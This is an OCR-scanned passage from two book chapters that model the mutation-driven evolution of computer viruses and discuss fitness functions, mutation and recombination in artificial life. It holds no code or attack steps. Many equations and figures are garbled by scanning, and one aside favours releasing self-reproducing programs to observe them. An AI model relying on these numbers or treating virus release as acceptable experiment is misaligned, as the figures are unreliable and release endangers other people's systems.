2. Let us assume that all of the mutations will have o; = o, so none
is more successful than another at increasing its reproduction
rate. However, let us assume that V; just happens to disrupt the
scan string for the anti-virus. And since the virus is detected by
scanning 9 out of 10 times, we will have 3, = [3/10.

3. Let us assume that V has been around for about 10 years, and
we have determined its parameters for equation 19.11a to be

K = 10/day
=0.010 19.13
=0.003
4. We use the mutation rate € = 2.3 10'13, as derived from

memory-chip oxidation above.
5. As stated earlier, there are about N = 10! infectable programs in
the virus’ universe.

Given these assumptions, we have enough information to solve
equations 19.11 and test our evolutionary hypothesis. The solution
of such equations is accomplished very naturally with a simple
computer program. The program EVO_VO0 on the Program Disk is
designed just for this task. Plugging in the proper parameters and
running it (a numerical coprocessor is helpful) gives the popula-
tions of Vo, V1 and V, which are depicted in Figure 19.4. At twenty
years, we find

Py=7x10°
P, =5.7x1072 19.14
P, =1.46 x 10°
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Notice that the population of V¢ seems to saturate after about 8
years. At twenty years, it is saturated, and doesn’t change much
from day to day.

The Evolution of V,

As you can see in Fig. 19.4, the average population of P1 never
even gets close to one. So, even though V| represents a neutral
mutation, it doesn’t become an equal partner with V. The reason
for this is fairly simple: The term

{(N-ZP;)/n)P; 19.15

in equation 19.11b determines the multiplication rate for V. Itcan’t
get big until P; gets big. A small mutation rate guarantees us that
P will not get big until Py gets big. However, as P gets big, the
term 19.15 gets small! The population of V stabilizes at something
less than N=10'° simply because the corresponding term

((N-ZP;)/N)(1-85¢)Pq 19.16

in eq. 19.11a goes to zero before Py gets that big. This is the
saturation point for Vo, given approximately by eq. 19.10.

Essentially, what is happening here is that you have two effects:
reproduction, which builds the population, and destruction, which
decreases the population. If a V| mutation happens to occur, it has
to have a good chance of finding files to infect. Then the population
will grow. If it cannot find them faster than it is getting destroyed,
then the chances are it will be destroyed by the anti-virus before it
ever takes hold.

Thus, in this case, we see that the neutral mutation V1 will tend
to get destroyed by the anti-virus because it is a late-comer in the
game of life. That a sample of 10,000 copies of the family V; would
show up 35 copies of V| suggests that something else is going on
here. There are a number of options:
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1. For some reason, either 01 is larger or [3; is smaller than o and
, respectively. This condition would allow V; to increase in
population.
2. The mutation rate € is higher than we thought, so that V| can gain
a foothold before the population of V| saturates.
3. V1 gota“boost” e.g., it was not the result of random mutations,
but of an intelligent modification.

If we can rule out options (1) and (2), then we can rule evolution
out as a viable means for bringing Vi into the world. I stress the
word viable. One could always resort to the chance that this did
happen, no matter that it is unlikely. As I said earlier, P; is only an
average, and we really have to look at the probability that there will
be a total of k individuals of V; for every possible k. From Appendix
E, these probabilities are given by

=Bk 1)) T {[0ePo(N-Po)/N+0  k(N-P)/NTr*
-[(0ePo(N-Po)/N+1 y (k-1)(N-Pg)/N] 1y 19.17

for a stable, reproducing population. (This is a most-favorable case
scenario, since the population isn’t stable, but growing, and it
would take a long time to reach stability.) For a stable population,
the average population of Vi is around 50,000. Now, 35 examples
of V1 in our sample of 10,000 suggest a total population of V| of

P;=25x10"+4x10° 19.18

The uncertainty here is due to the statistical uncertainty in our
sample. Equation 19.17, however, predicts a very large uncertainty
in the population of Vi because the 7% distribution has a very long
tail. The probability that P; would fall in this range is given by*

k=52x10" 19.19

4 The program PI_K on the Program Disk does this calculation.
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Figure 19.5: Population of Vo and V.

This is a fairly small number—small enough that, though not
impossible, it is perhaps unreasonable to suggest that it happened,
when option 3 can explain the observed population so readily.

It is entirely sensible to suggest that one year after Vo was
released, somebody intelligently modified V1 and planted 75 copies
of it around his neighborhood. That alone would account for a total
population of about 2.7 x 107 copies of V1, and it would explain the
V1 constituent of our virus sample.’

The Evolution of V,

The virus V has an advantage over V| because [>; is much
smaller than [3. Thus, even when the population of V¢ has saturated,
V> does not run into a brick wall when trying to reproduce faster
than the anti-virus can catch it. Thus, the population of V3 is 1.46
million after 20 years. We would thus expect our sample of 10,000

5 To see this, set the BOOST variable to TRUE in the program EVO_V0.
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viruses to contain about 10,000 x P2/(Po+P;+P2) =2.1 copies of V.
We found 4. The sampling error is +2, though, so our data is
certainly consistent with a population of 1.46 million and the whole
idea that V did evolve from V¢ without intelligent intervention!

Once a population of V3 has been established, “survival of the
fittest” takes over, and there is a brute competition between the two
variations. Our program EVO_ VO displays this competition very
clearly. Fig. 19.5 shows the populations of Vo and V as a function
of time. As you can see, after 50 years, V; virtually wipes Vj out,
with populations

Py =3700 19.20
P,=9.7x10°

respectively. Thus, evolution of computer viruses, where one vari-
ety almost completely replaces another, is possible.

The Evolution of Sterile Mutations

We have one more base yet to cover. We should ask what the
liklihood of finding a sterile mutation in our population ought to
be. Though the probability of finding any one particular mutation
ought to be pretty small, there are 2372 sterile mutations. What is
the likelihood that one will show up in our sample from time to
time? From EVO_V0, we find that the average population of any
given sterile mutation after 20 years ought to be

P,=1.6x107 19.21

The population of 2372 different ones, all put together, ought to be

Pyjerile = 2372 X Pj =3.79 19.22

Thus, after 20 years, on the average, there will be four examples of
a sterile mutation in the entire population. The chances of one of
those mutations landing in our sample of 10,000 is thus about 1 in
180,000. So we shouldn’t be surprised at all that we found none.
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Conclusion

In conclusion, we find that random genetic mutations, in com-
bination with “survival of the fittest” style population pressures
can work to cause evolution in the world of computer viruses.

In essence, we have confirmed the fact of evolution, as applies
to computer viruses. That should be no big surprise. We expected
it to occur in any information driven self-reproducing system in
which mutations are possible.

Secondly, we have also been able to analyze a basic evolution-
ary problem quantitatively, and predict populations, etc., and then
examine experimental results to confirm or falsify our theories.
Sometimes those theories were sufficient to explain the results, and
sometimes they were not.°

While limited quantitative analysis is sometimes possible in
the real world, there are a number of obstacles that we avoid by
using viruses: Firstly, since the genotype to phenotype connection
in a virus is trivial enough that we can reason out what the effect
of a mutation will be, we can develop a complete mathematical
model and figure out all of the required parameters. We don’t have
to wonder what never-before observed mutations would do. And
our model need not even be that complicated. When emergent
behavior becomes a factor, it is impractical to simply look at all
possible mutations of the genotype and determine how well the

6 Now obviously one could criticize the particular equations used here, the
parameters, etc., and say they weren’t realistic. After all, they weren’t too
realistic for the Timid virus. I don’t expect Timid will ever succeed in infecting
70% of all the COM files in the world, no matter how hard The Little Black
Book gets promoted. That is not the point, though. Whatever model we use,
mutations are possible, and they will occur at a rate proportional to the
population of the original virus. Therefore evolution is possible. And I think it
is potentially possible for a virus to infect 7 billion files, though perhaps not
right now. Technology is advancing very quickly. How long will it take before
7 billion would represent only 0.001% of all the available files? I don’t know,
but I do know that 18 years ago I would have been thrilled to have a ROM
where I could store a single 100-byte program so I wouldn’t have to key it in
bit-by-bit every time I started up my computer!
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phenotype will perform. The easiest way to answer such questions
then becomes simply to create one and let it go to see what happens.

Secondly, a quantitative analysis is much less threatening,
since it is no big deal if our evolutionary model fails to give us the
right answer. Postulating an intelligent creator for a new variety of
virus is not going to send the philosophical foundations of evolu-
tionary biology tumbling. Likewise, proving evolution is the author
won’t offend anyone with religious convictions. Sometimes, as in
the case of V», that intelligent creator is simply not necessary, and
we can dispense with intelligent intervention. At other times, as
with V1, we may not be able to reasonably avoid consideration of
a creator.

This is not merely a matter of comfort either. Consider the
different behavior that will result when I suggest that an evolution-
ary model cannot account for the observed results:

As far as viruses go, invoking a creator will not get you labeled
as crazy. Therefore, one can realistically weigh the form of the
equations used to model evolutionary behavior, and the parameters
in those equations. If I am fairly certain they are right, then I am
fairly certain that the populations they predict are what evolution
can account for. In this way I can use reason to weigh the results
and the equations in the balance. If | know the equations are a good
quantitative statement of the theory, and the experimental facts
don’t stack up, then I can reasonably say that the theory behind my
equations is unable to account for what I have observed.

In the real world, evolution is the only scientific—e.g. only
naturalistic—explanation for how two varieties of organisms could
come into existence. Therefore, if I write down some equations and
find that they fail to explain my observations, I must assume that
these equations do not provide a good quantitative statement of the
theory. What I can never do is use the results to weigh the under-
lying idea—only the particular quantitative statement of that idea.
Even if the best approach I can come up with will only give me
ridiculously small probabilities, I cannot challenge the underlying
idea of evolution. Such philosophical fundamentalism is possible
only because (a) evolution is grounded in history, not laboratory
experiment, and (b) because emergent behavior bars the way for a
comprehensive, analytical test.
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So by studying the evolution of viruses, we have entered a sort
of neutral-zone. We can simply jettison the philosophy that bars the
door to questioning evolution. Personally, I couldn’t care less
whether computer viruses can evolve or not. And I couldn’t care
less whether evolution is sufficient to create a whole wonderful
world of computerized “life forms” in a million years or whether
it is completely impotent. I won’t be around to see it anyhow. And
if I am not philosophically involved, then maybe I can look at
evolution more objectively in this realm, and simply take whatever
results I come up with at face value. And then, maybe I can use
those results to better understand whether evolution in and of itself
is scientifically capable of explaining life in some artificial world,
or life as we know it. That brings us to the theory of evolution.



The Theory of Evolution

A few chapters back I separated the fact of evolution from the
theory of evolution. In the last chapter we demonstrated that the
fact of evolution does apply to computer viruses. That should not
be a big surprise. Any self-reproducing automaton ought to be
subject to the fact of evolution. The real interesting question,
though, is the theory of evolution.

What is the Theory of Evolution?

Just what is “the theory of evolution” for computer viruses,
though? Should we naively transport Darwin’s hypothesis over to
the world of viruses and say

“The fact of evolution of viruses is capable of accounting for all
the variety in computer viruses found in computers today.”

The knee-jerk reaction is to say that we know this statement is
false. We know viruses did not evolve—they were written. Many
people even claim to write them and will do so in full view of
anyone who cares to see it done. Yet this knee-jerk reaction goes
beyond scientific method for proof! It relies on authority. That does
not mean such an approach is never valid, it is just not scientific. If
somebody you know and trust tells you viruses were written by
people, and did not evolve, you might be doing very well to believe
him. That is fine for you. But suppose you were living some time
after the sixth nuclear world war. Practically nobody knows any-
thing about computers anymore, let alone viruses. You’ve worked
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hard and gotten an old PC up and running, and assembled a modest
collection of software, including some viruses. You also have a
manual for an anti-virus program that claims people created these
viruses. Yet this is foreign to you. You know your forefathers were
great deceivers—and the people who wrote these types of programs
were some of the worst—so you’re anything but sure you can trust
it. In this situation, the scientific approach begins to shine. A
scientific determination about where viruses came from has a
universality that authority does not.

Such an analysis is not that difficult, in principle. In the last
chapter we saw that it took about 50 years for a very minor mutation
to take hold even under favorable conditions. So suppose you had
several major variations of viruses, which would have taken many
thousands of mutations to evolve from one another. If you knew all
of them dated between 1990 and 1995, and you had some data on
the number of computers, storage capacity, etc., available in that
time period, you should be able to conclude that the viruses did not
all evolve from a common ancestor. The probability for it would
be ridiculously small, and that would put an end to further specu-
lation. !

Here in 1993, we can see that viruses aren’t evolving nearly
fast enough to make our Darwin’s Hypothesis for Viruses viable.
Yet, could there be some point in the future where evolution will
take over and make something like it work? (Modulo the need for
multiple “starts” of viral life, based on what we know of their
origins today.) After all, the bigger the virus, the more likely a
mutation will be. And the more of them, the more likely mutations
will be. Both are possibilities, as storage capacities continue to
grow. On the other hand, more reliable computers could decrease

1 Note that in all we’ve said so far, we haven’t asked the question where the first
virus came from. We take that first virus as a given. In evolution we’re
concerned with what happens after that first given. We’ll examine beginnings
in a couple chapters.
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the basic mutation rate significantly, and better security measures
could reduce the virus population.

As I have said already, Darwin’s hypothesis isn’t really a
theory of evolution. It is a mere speculation—or a philosophical
truism. Once we start looking at the world of viruses, we begin to
see the need for a real theory. Darwin’s hypothesis doesn’t make
sense there—at least not right now—yet we’d like to be able to say
something about what evolution can and will do in this world
beyond the simple fact that it can occur.

Since there really is no theory of evolution in the real world—
no way for me, as a scientist, to predict what some biological system
will or will not do—we cannot simply pull one over from there. We
are going to have to formulate a theory if we want one. We cannot
simply rely on the philosophical truism of Darwin’s hypothesis and
assume that evolution is omnipotent. Already, we can see that it is
not omnipotent: it is not able to explain every observation about the
different “species” of computer viruses.

In formulating a theory of evolution, it would seem reasonable
to turn away from the real world altogether and formulate it only
with reference to artificial life. We want to broaden our horizons
to begin with, and it would seem that the real-world theory as it
stands today doesn’t have a whole lot to offer us. In turning to
artificial life, we get a whole lot of different scenarios to examine—
some where evolution can presumably do something, and some
where it cannot. This reorientation also tears us away from the
philosophical dynamite that any attempt at a real-world theory
would invariably ignite. We do not set out to find the world where
evolution is most powerful—acting like some creating god—but
rather to look at the broad spectrum, and learn what evolution can
and cannot do. We need not—indeed cannot afford to—be bound
by the idea of evolution as mystical and omnipotent. Fortunately,
artificial life can be analyzed in a way that the real world cannot
be—at least not at present. That lets us probe evolution a lot more
deeply, more scientifically, than we can in the real world. So we
have some hope for formulating a real theory, a theory which takes
all the possibilities into account and perhaps looks more like
mathematics than anything else. Given such a theory, we might then
go back to the real world, and see what our theory might teach us.
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Formulating a real theory of evolution rigorously, with lots of
equations and dogma is clearly premature right now. To start out,
we need some basic ideas around which a theory might be formu-
lated—some keys which will allow us to understand what evolution
is and what it can do. The rest of this chapter will focus on trying
to define some of these ideas.

Selection Processes

At the heart of evolution is the idea of the selection process.
When you have a population of living organisms (and [ use the term
broadly, to include AL), a selection process can preferentially
choose some of these organisms as more or less fit than others. The
more fit individuals survive, and the less fit do not, at least statis-
tically. The most fit individuals then genetically pass on their
fitness to their progeny.

A selection process is merely (A) a fitness criterion, e.g., a
definition of what “fitness” means, and (B) a method of coupling
this fitness criterion into a system.

It would appear that much of the science in evolution is
wrapped up in selection processes. The system’s behavior under
the influence of selection processes seems more a matter of mathe-
matics than science. Essentially (within the limits of the mathemat-
ics) the selection processes will determine how powerful evolution
is in a given situation.

Now, in terms of understanding the real world, Darwinism
tends to turn the selection process into a tautology. “ Survival of the
fittest” defines fitness in terms of survival so you get an endless
circle. The fittest is what survives. What survives is the fittest. It’s
hard to do much with that. The neo-darwinian definition of fitness
as whatever has the most progeny does no better.

Things are different when we turn to controlled laboratory
experiments in AL though. We can positively define some concept
of fitness, and apply it to a population of automata. Given a
sufficient understanding of the “ fitness function,” though, the idea
of survival of the fittest seems rather trivial. Of course something
will survive if we design a system to make it survive. None the less,
we can define fitness without making a tautology out of it.
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In our imaginations, selection processes can be almost omnipo-
tent or powerless, depending on how we conceive of them. I think
therein lies the mystical nature of evolution as we have it today.
Evolution could conceivably do anything with the right selection
processes. And it can do nothing without them. Thus one scientist
can easily imagine how all of life evolved form one archetype,
while another can’t imagine how a complex structure like the eye
could have evolved.

In order to understand selection processes better, we can di-
vorce the idea from life and evolution. Imagine for a moment that
I had an integer in mind and I wanted you to guess what it was. All
you know is that this integer is 16 bytes long. Each time you guess,
I will say “yes” or “no” to tell you whether you got the right
answer. Randomly guessing like this, you have only a 256716 =3 x
1073 probability of getting the right answer in any one guess.
Making a million guesses per second, you would not even have a
1% chance of hitting on the right answer in the age of the universe.
In other words, you couldn’t do it. The reason is that the only
selection criterion you have gives you no information about how
good or bad your guess was unless you get it exactly correct. We
might think of it as if each guess, n, is being assigned a number f{n)
by a fitness function f. The function fis the only means we have for
determining whether or not we have found the right answer. In the
case we just discussed, f gives us very little help in finding the right
answer because it has the same value (0) everywhere except at the
right answer, where it is 1. It looks something like Figure 20.1.

A fitness function such as depicted in Figure 20.2 is much more
helpful. Using it, we can devise a very simple scheme to find the
right answer—no matter what it is—in about 128 steps. Here’s the
scheme:

1. Start with two numbers, n;=0, and n,=FFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFH (the largest 16 byte number).

2. If fin1)<f(ny) then set n;=(n;+n,)/2, otherwise set np=(n;+ny)/2.

3. Repeat step 2 until f{ny)=1.
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Figure 20.1: A poor fitness function.
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Figure 20.2: A helpful fitness function
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Thus, a good fitness function can change our search for the right
number from an exercise in futility into an easily accomplished
task!

Now, of course, the fitness function is a definition of what we
mean by “fitness” in this particular situation. Our selection process
consists not only of the fitness function, but the 3-step program we
defined to make use of the fitness function. That is how the
information which the fitness function gives us is coupled in to our
guessing. We could devise better or worse ways to couple it in. For
example, we could devise a single-step process which takes the
derivative of fat some point and then guesses the right answer very
quickly.? At the other end of the spectrum, we could make very
poor use of f. For example we could say

1. Pick n at random.
2. If fin)#1 then repeat step one.

This approach does no better than when fprovided no information
at all because it doesn’t make use of the information f gives us.

Thus, in general, a selection process involves a fitness criterion
and a means of coupling it into a system.

Returning to genetic self-reproducing systems, we may employ
these ideas about selection processes. Essentially, we can think
about a fitness function which defines fitness as a function of
genotype. Thus, the X axis in a plot like Figure 20.2 would not be
a range of numbers, but a range of genes (genotype space). Typi-
cally it would be best represented in a multi-dimensional fashion,
e.g. one dimension for each base which defines the genes. We can
picture it as one- or two-dimensional, though, for most purposes.

Self-reproduction-with-change is the coupling mechanism
which allows the fitness function to modify the genes in the system.
We might view the fitness function as the average number of
offspring a particular genotype might have.’ Each automaton re-

2 Newton’s method.
3 Although this picture is a bit simplistic, it will do for now. The simplification
is simply that we can’t really view every individual as an independent entity.



202 Computer Viruses, Artificial Life and Evolution

produces, and the children are a little different from the parents,
due to mutations and sexual recombination. Thus, if we started a
system with a single gene, which exists at a point in a genotype
space, mutations would cause that point to spread out into a fuzzy
ball. If the fitness function was not flat in the neighborhood of this
fuzzy ball, parts of the ball would be more fit than others. The ball
would thus grow in that direction, because the individuals in that
region would have more children, statistically, each with further
mutations in their own neighborhood. The fuzzy ball would thus
appear to move toward higher values of f'and stay there.

This concept is graphically illustrated by the program SELECT
on the Program Disk. SELECT essentially implements a two
dimensional version of our “find the number” game above, or a
system with two genes. Each point on the display is a self-repro-
ducing automaton which will reproduce by either making an exact
copy of itself (same genotype, same position on the screen) or by
making a near copy of itself (occupying a neighboring point on the
screen). The population of this system is kept at a fixed number by
killing off automata randomly, in proportion to the square of their
distance from the center point on the screen. In other words, we
select automata at random and then measure their distance from the
center point. If that distance is the maximum distance, we kill the
automaton 100% of the time. If it’s half the maximum, we kill the
automaton 25% of the time, etc. This implements a smoothly
varying fitness function that guides the population of automata
right to the center point.

Figure 20.3 depicts the behavior of a population of automata
in this arrangement. They invariably evolve toward the center point
in the system. You can see this by running the SELECT program
a few times. It’s really pretty foolproof.

As such, we can see that self-reproduction with genetic vari-
ation can work to solve certain problems put to them.*

How many offspring an individual has will depend on all the other individuals
too. This allows us to understand phenomena like overcrowding. To model it
right, we would like to have a sort of gene-phase space, where all of the genetic
material for a whole population is represented by a point.
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Optimum
point

Figure 20.3: Evolution with a smooth fithess
function

Genetic Change and Limits on Selection

Now, there are limits on evolution’s ability to negotiate the ins
and outs of a fitness function. These limits are derived from the
mechanisms which cause genetic changes in a population. The two

4 Problems which have a nice fitness function.



204 Computer Viruses, Artificial Life and Evolution

mechanisms which cause genetic change in the real world are
mutations and sexual reproduction. Let’s discuss each of them in
turn, and see just how they work in evolution.

When I say “mutations” I always mean tiny micro-muta-
tions—a single gene at a time—the kind we discussed in the last
chapter. The reason micro-mutations form the basis for evolution-
ary change, rather than large “macro-mutations” is that macro-mu-
tations are essentially a shot in the dark. They are wild, random
guesses at the solution of a selection problem. Now, in and of itself,
there is no reason to believe that such guessing could not be
effective. In fact, it is effective with something as simple as the
SELECT program. If you increase the distance that a mutation can
jump, SELECT will solve its problem a lot faster. That effective-
ness generally decreases horribly as the information content of a
self-reproducing automaton’s genetic material increases. For ex-
ample, if we had a two kilobyte virus, and we took a 100-byte
subroutine and replaced it with a random chunk of code, you’d
expect that code to do just about anything but make the virus more
effective! That is because there are 256!% possible substitutions,
and only a very, very small number of those will have anything to
do with being a useful subroutine, much less something helpful to
the virus. Unless the choice of such a substitution is intelligently
made, it has no hope of hitting on a good answer. Typically, a blind
search works only when there are a very limited number of possi-
bilities to examine. Once you start talking numbers like 256!, it’s
useless. It’s like allowing yourself to be transported to some ran-
dom place in the universe in an instant and just hoping it’ll be a
place you can live. We’ll talk more about this later.

Micro-mutations differ in that they are variations on a known,
established theme. They make a simple change and then the fitness
function answers the question “better or worse?”

Now, micro-mutations have some serious limitations because
they can only explore the local behavior of the fitness function. If
you had a fitness function that looked like Figure 20.4, and a
population at point A, micro-mutations would dutifully lead it to
the local peak at point B, and keep it there forever. The population
could probably not negotiate the minimum at point C to find its way
to point D. That places a real limit on evolution. We could conclu-
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Figure 20.4: A fitness function with a local
maximum.

sively say that the population at point A could never evolve into a
population at D in this system. That does not, of course, mean we
couldn’t modify our system to make it possible to get to D. For
example, we might introduce a predator. That adds more dimen-
sions to the genotype space, so that you might end up with a bridge
from B to D, as in Figure 20.5. In doing this, however, you’ve
modified the system. The same conclusion still applies to the
original system.

This problem of finding local maxima is also modeled by the
program SELECT. This program allows you to put in a wall around
the center point, in which the automata are less likely to survive.
When you run the program, if the initial population is outside the
wall, it will stay outside forever, (provided you make the wall thick
enough and high enough) even though the inside of the wall has a
lower fitness function than any point outside of it.

The second limitation of micro-mutations is that they can be
ineffective in regions where the fitness function is flat or nearly
flat. Typically, micro-mutations selectively couple into the slope
of the fitness function. Where the function is steep, like the side of
amountain, small mutations are very effective in figuring out which
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way to go. However, if the function is flat, like a plateau, the
mutation process becomes a blind search for fitter genes. If the area
to be searched is too large, that blind search is practically guaran-
teed to be fruitless. You can mathematically determine how good
the search will be based on the population size, the reproduction
rate, the mutation rate, the allotted amount of time, and the volume
of the gene space to be searched.

For example, suppose I have a virus that could take a major
leap in fitness by modifying 32 bytes of code (256 bits). Yet no
improvement in fitness could be had until all 256 bits were in place,
just as needed (e.g. the fitness function is flat in this region). Thus,
a population of viruses would have to search a space of 2270 =1.16

1077 different variations to hit on the one that was an improve-
ment. Now, when the population of viruses comes near this plateau,
it will begin to diffuse across it by mutating. (See Figure 20.6) After
a long, long time, the virus will presumably fill this space fairly
evenly. However, at that time it will be spread so thinly, that even
if there are a huge number of viruses, the chances that any one of
them will find the improvement will be minuscule. For example,
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suppose the total virus population Pt was 10?° (a huge number). If
evenly spread out, the average population of any given variation is
only

P;=Pp/2%0=8x 108 20.1

That is the best case scenario. Most of the time, the population in
the region of the improved virus will be much lower, because the
diffusion will take a long time to get to that neighborhood. Only
then will the population in this neighborhood reach the value above.
With only a 1 in 107 chance of finding the right mutation, micro-
mutations cannot accomplish it in a reasonable time frame.

The ability of a population to traverse a plateau of a given size
is everything in this game. There seem to be almost absolute limits
for large enough plateaus, as the above discussion would indicate.
In such a situation, it doesn’t matter how big the population or how
high the mutation rate. Any reasonable numbers still don’t meet the
challenge. That is because a random search is incredibly inefficient

Figure 20.6: Migration across a plateau in gene
space.
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if it has to look very far. On the other hand, much smaller plateaus
could still be unnegotiable because the numbers of mutations in a
population are just too small to diffuse the population across the
plateau.

The SELECT program will allow you to put a small plateau
into the fitness function instead of a wall. If you make the thickness
of the wall about 25 units, the plateau is just big enough to slow the
fuzzy ball representing the population down. If you make it much
bigger, that ball cannot find its way across the plateau. To under-
stand the futility of a large random search, play around with this
program for a bit and then imagine making the outer edge of the
plateau the size of the earth’s orbit around the sun!

Let’s go on to discuss the other means of change which evolu-
tion has at its disposal: sexual reproduction and recombination. In
real-world organisms, the genetic information stored in DNA is
broken up into one or more chromosomes. Each chromosome is a
single strand of DNA containing a large number (perhaps thou-
sands) of genes. In sexual reproduction, the child receives whole
chromosomes from the parents, with even odds of getting any given
chromosome from father or mother. Thus, if the father’s chromo-
somes are labelled F1, F2, . . F10 and the mothers M1, M2, .. M10,
then the child may end up with chromosomes M1 M2 F3 M4 F5
F6 M7 F8 M9 F10. Generally speaking, each chromosome is
identical to either the mother’s or the father’s, though the child will
rarely get all of its chromosomes from one mate. (In our example,
with 10 chromosomes, the probability is only 271°.) Thus, sexual
reproduction allows for a child which is substantially different from
either parent, but still similar to both.

In addition to genetic mixing on a chromosomal level, a process
called chiasma sometimes occurs in which the parent’s chromo-
somes cross (see Figure 20.7), and combine into new chromo-
somes, not present in either parent. Thus the child gets a new
chromosome, which has genes from both parents. The crossover
can occur anywhere along the length of the chromosome and can
result in a new (and possibly defective) gene. Chiasma is a rela-
tively rsare process though, and rarer the higher you go on the chain
of life.
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Father

ACTGGACCTGAA

ACTGGACTAAGA

Child
GCCAGCCTAAGA

Mother

Figure 20.7: Chiasma

In artificial life, sexual reproduction can be a much more
efficient way to search for fitness solutions than mutations alone,
depending on starting parameters for a system, and how you
implement the reproduction process. The genetic algorithm is
perhaps the most well known example of an artificial life imple-
mentation of sexual reproduction at this time. It differs importantly
from real world sexual reproduction in that typically only one
chromosome is implemented, but chiasma is greatly magnified, so
that the chromosome is often broken and crossed over at some
randomly selected point along its length.

Such algorithms have proven very efficient at solving simple
problems, provided that a fairly uniform fitness function can be
invented to hone them with. If you consider a mutating system with
a bunch of random starting points, then the next generation can at
best explore a small neighborhood around each point, as depicted
in Figure 20.8. On the other hand, a sexually reproducing system
can explore the line between any two individuals. So in effect,
sexual reproduction allows a population to cover more ground

5 Benjamin Lewin, Genes, Second Edition (John Wiley and Sons, New
York:1985) p. 67.
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Mutation

Sexual Reproduction

Figure 20.8: Mutation versus sexual reproduction.
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faster. There are, of course, limitations. If rather than starting with
a randomized population, we started with a very well defined
population, we would not be able to introduce new variation into
the system. For example, crossing two binary chromosomes that
differ by only one bit

Chromosome A 01110101101001
ChromosomeB 01110101001001

will always give you only one or the other of the originals. Creating
anything new is impossible. On the other hand, a mutating system
gives you new combinations to try, no matter how few chromo-
somes you start out with. Thus sexual reproduction appears to be a
useful search mechanism in some situations, and not in others.
There is an important tradeoff we must understand when dis-
cussing sexual reproduction. The multiple chromosomes of the real
world are somewhat of an encumbrance when considering a purely
logical genetic system. A system with three chromosomes, for
example, is identical to a system with one chromosome in which
chiasma occurs with a 50% probability at two “hot spots.” (See
Figure 20.9) Thus, the crossover mechanism can logically perform
the same function as multiple chromosomes. The fact that there are
multiple chromosomes in the real world is a feature of the imple-
mentation of the genetic logic, rather than a fundamental aspect of

CTGACTTGACCCAACGTACCTAGACACG

Hot Hot
Spot 1 Spot 2

Figure 20.9: Chromosomes can be implemented
with hot spots.
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that logic. Thus, from now on, we need only consider systems with
one chromosome.

In designing a genetic system we have to decide where cross-
over can occur and how often. That decision will determine how
big a population will be needed to cover the whole gene space
effectively using sexual reproduction. Let me explain: suppose we
allow crossover with equal frequencies between every bit in a
chromosome. Then we start our population out with a set of random
chromosomes. We can easily decide how many chromosomes will
be necessary to cover the whole gene space. Essentially, we want
to be able to make any chromosome from our set of random
chromosomes by repeatedly crossing them. Generally, given two
random chromosomes, 50% of the bits will match, and 50% won’t.
A third will match 50% with each of the first two, and 25% will
match with both. In general, a fraction 2N of the total bits in N
random chromosomes will all match. So, for example, with a two
byte (16 bit) chromosome, we’d need about 2-N< Y6 for a 50%
probability of having no bits which match in all N chromosomes,
so N=5. Essentially, five chromosomes would probably cover the
whole space. With these five chromosomes, I could build any other
two byte sequence by crossing them. On the other hand, if I only
allow crossover to take place on byte boundaries, I’ll need a lot
more chromosomes to start out with. Only about Y556 bytes will
match between any pair of chromosomes. 2>%2s6 will not match.
You can determine that you’ll need some 2300 random chromo-
somes to do as well as bit-wise crossover did with five.

From our discussion it would seem that bit-wise crossover is
much more efficient at exploring the gene-space—and it is. How-
ever it does not always follow that we should use it. The problem
with bit-wise crossover is that it destroys all long-range order in
the gene. For example, if a certain combination of bits in the gene
gives much improved survival characteristics to individuals which
posses it, then you want your system to preserve that combination.
If, however, this combination consists of two contiguous bytes, it
has a probability of (1-p)'® of being preserved from the parent to
child where p is the probability of a single bit-wise crossover. The
only way to preserve this pattern, then, is to make p very small. If
you do that, though, you make crossover an ineffective way to
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explore the gene space. Using a larger granularity in the crossover
permits the preservation of long-range order, while allowing an
acceptable (though reduced) amount of gene-space exploration by
keeping p large.

These are the tradeoffs of sexual reproduction. Obviously there
could be many variations on this basic approach. The real world
actually makes a sensible compromise. Multiple chromosomes
allow frequent gene-mixing with good preservation of long-range
order. The more infrequent intra-chromosomal crossover allows a
lower level of mixing, which results in new chromosomes.

The distinction between mutation and crossover is rather vague
when crossover occurs at the level of the smallest building blocks
in a system, and when there is sufficient variety in the original
population. For example, there is no difference between mutating
the byte 0A Hex into 8A Hex and obtaining the 8 A hex from a cross
between OA and 80 Hex. The end result is an 8A no matter what.
Of course, if none of the initial population had a gene with the 8th
bit set in this byte, then no amount of crossing could produce an
8A Hex.

Typically a species in the real-world is recognized by a limited
genetic variation in its populations.® For example, two genes code
for two different types of human hemoglobin (0 and [3). These
genes are 140 and 146 units in length, respectively, and agree in 61
places, have 9 gaps, and differ in 76 places. With only two genes
to code for 140 amino acids, you have a very limited amount of
change available from the existing human population via a straight
cross-over mechanism.’

The Big Question

6 In fact, many would define a species as an isolated, specific population.

7 You can put together onlly about 2% possible genes Smost of which will be
lethal), as compared to 20 40 possibilities. And 2 3/20'%9=10"157 is a small part
of the total space. To give you an idea of how small it is, it is smaller than the
ratio of the volume of a proton to the total volume of the universe.
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Up to this point, we’ve seen that there are lots of practical limits
on evolution that are interesting to explore using AL. For example,
in the last chapter we saw how mutation rates affect the time-frame
of evolution. Even a small mutation cannot become established if
it is not given enough time. We also saw how the population
equations could suppress evolution. In this chapter, we’ve seen how
the ability of mutations to negotiate a fitness function can be foiled;
we’ve seen how tradeoffs have to be made in sexual reproduction,
and how the very act of defining a “species” limits what sexual
reproduction can do. All of these myriad factors must eventually
go into any analysis of evolution in the real world. The problem
with applying them to the real world is that the real world is too
complex. What is the fitness function of our ecosystem? In a space
of some 41:000.000.000 gepetic possibilities, just how well defined is
the human species? What are the mutation mechanisms, mutation
rates and crossover rates, site by site, of some chromosome? These
questions are mind-boggling. At heart, this is why evolution can’t
answer too many questions for the insistent scientist.

If we want a real scientific assessment of Darwin’s hypothesis,
we might be faced with weighing all of these factors for the real
world. Any one of these obstacles could easily prove insurmount-
able. For example, we have no reason to believe that the fitness
function of our world does not look like a bunch of islands in the
sea, with populations centered around each island (Figure 20.10).
That would appear to make Darwin’s hypothesis impossible. Of
course, at the same time, none of these obstacles can be proven to
be insurmountable. We have no reason to believe the fitness func-
tion does not look like a rising mountain range, with some popula-
tions at the peaks, and some on the slopes. Perhaps someday
biochemistry by itself could answer a major part of this question.
Then again, maybe not. We just don’t know right now. Right now,
its hard to say what we can learn about the limitations of real-world
evolution from these ideas. Certainly I’ve seen them used to argue
both the pros and cons of various evolutionary scenarios.

However, I have to look beyond all of these specifics and
wonder if there is not lurking in the shadows some grand principle
which—although it cannot be clearly seen as yet—places some
